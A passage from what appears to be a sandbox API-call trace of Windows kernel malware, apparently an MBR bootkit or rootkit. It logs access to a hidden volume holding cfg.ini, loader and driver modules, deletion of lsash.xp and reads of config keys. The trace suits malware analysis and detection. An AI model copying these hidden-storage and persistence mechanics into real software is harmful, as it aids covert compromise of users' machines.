Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.853] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.853] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.853] IdePortDispatch () returned 0x103 [0129.853] KeWaitForMutexObject () returned 0x0 [0129.853] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.853] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.853] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.853] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.853] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.853] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c06590 [0129.853] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] KeLeaveCriticalRegion () [0129.853] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.853] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.853] KeEnterCriticalRegion () [0129.853] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.853] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.854] KeLeaveCriticalRegion () [0129.854] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.854] KeEnterCriticalRegion () [0129.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.854] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.854] IdePortDispatch () returned 0x103 [0129.854] KeWaitForMutexObject () returned 0x0 [0129.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.854] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.854] KeLeaveCriticalRegion () [0129.854] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.854] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.854] KeEnterCriticalRegion () [0129.854] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.854] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002cdf000 [0129.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.854] IdePortDispatch () returned 0x103 [0129.854] KeWaitForMutexObject () returned 0x0 [0129.854] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.854] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.854] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.854] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.854] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.855] IdePortDispatch () returned 0x103 [0129.855] KeWaitForMutexObject () returned 0x0 [0129.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.855] KeLeaveCriticalRegion () [0129.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.855] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.855] KeEnterCriticalRegion () [0129.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.855] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.855] KeLeaveCriticalRegion () [0129.855] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.855] KeEnterCriticalRegion () [0129.855] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.855] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.855] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.855] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.855] KeLeaveCriticalRegion () [0129.855] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.856] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.856] KeEnterCriticalRegion () [0129.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.856] ExFreePoolWithTag (P=0xfffffa8003c06590, Tag=0x0) [0129.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.856] KeLeaveCriticalRegion () [0129.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.856] ReleaseMutex (hMutex=0xf0) returned 1 [0129.856] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.856] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.856] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.856] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.856] KeEnterCriticalRegion () [0129.856] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.856] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.856] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.856] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.856] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.856] IdePortDispatch () returned 0x103 [0129.856] KeWaitForMutexObject () returned 0x0 [0129.856] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.856] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.856] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.856] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.856] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.856] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.856] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.856] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.856] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.856] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.856] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.856] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.856] KeLeaveCriticalRegion () [0129.856] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.857] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.857] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.857] KeEnterCriticalRegion () [0129.857] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.857] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.857] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.857] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.857] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.857] IdePortDispatch () returned 0x103 [0129.857] KeWaitForMutexObject () returned 0x0 [0129.857] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.857] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.857] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.857] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.857] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.857] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.857] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.857] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.857] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.857] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.857] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.857] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.857] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.857] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.857] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.857] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.857] KeLeaveCriticalRegion () [0129.857] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.857] ReleaseMutex (hMutex=0x100) returned 1 [0129.857] Sleep (dwMilliseconds=0x2bf20) [0129.864] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x709aaeb0, dwHighDateTime=0x1d24fa4)) [0129.864] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.864] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.864] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.864] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.864] KeEnterCriticalRegion () [0129.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.864] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.864] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.864] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.864] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.864] IdePortDispatch () returned 0x103 [0129.864] KeWaitForMutexObject () returned 0x0 [0129.864] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.864] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.864] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.864] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.864] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.864] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c05270 [0129.864] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.864] KeLeaveCriticalRegion () [0129.864] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.864] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.864] KeEnterCriticalRegion () [0129.864] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.864] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.865] KeLeaveCriticalRegion () [0129.865] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.865] KeEnterCriticalRegion () [0129.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.865] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.865] IdePortDispatch () returned 0x103 [0129.865] KeWaitForMutexObject () returned 0x0 [0129.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.865] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.865] KeLeaveCriticalRegion () [0129.865] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.865] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.865] KeEnterCriticalRegion () [0129.865] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.865] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce3000 [0129.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.865] IdePortDispatch () returned 0x103 [0129.865] KeWaitForMutexObject () returned 0x0 [0129.865] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.865] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.865] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.865] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.865] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.866] IdePortDispatch () returned 0x103 [0129.866] KeWaitForMutexObject () returned 0x0 [0129.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.866] KeLeaveCriticalRegion () [0129.866] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.866] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.866] KeEnterCriticalRegion () [0129.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.866] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.866] KeLeaveCriticalRegion () [0129.866] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.866] KeEnterCriticalRegion () [0129.866] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.866] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0129.866] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.866] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] KeLeaveCriticalRegion () [0129.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.867] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.867] KeEnterCriticalRegion () [0129.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] ExFreePoolWithTag (P=0xfffffa8003c05270, Tag=0x0) [0129.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] KeLeaveCriticalRegion () [0129.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.867] ReleaseMutex (hMutex=0xf0) returned 1 [0129.867] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.867] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.867] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.867] KeEnterCriticalRegion () [0129.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.867] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.867] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.867] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.867] IdePortDispatch () returned 0x103 [0129.867] KeWaitForMutexObject () returned 0x0 [0129.867] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.867] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.867] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.867] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.867] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.867] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003c07230 [0129.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] KeLeaveCriticalRegion () [0129.867] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.867] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.867] KeEnterCriticalRegion () [0129.867] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0129.867] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.867] KeLeaveCriticalRegion () [0129.868] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.868] KeEnterCriticalRegion () [0129.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0129.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.868] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.868] IdePortDispatch () returned 0x103 [0129.868] KeWaitForMutexObject () returned 0x0 [0129.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.868] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.868] KeLeaveCriticalRegion () [0129.868] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0129.868] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.868] KeEnterCriticalRegion () [0129.868] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.868] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002ce4000 [0129.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.868] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.868] IdePortDispatch () returned 0x103 [0129.868] KeWaitForMutexObject () returned 0x0 [0129.868] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.868] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0129.868] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0129.868] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: 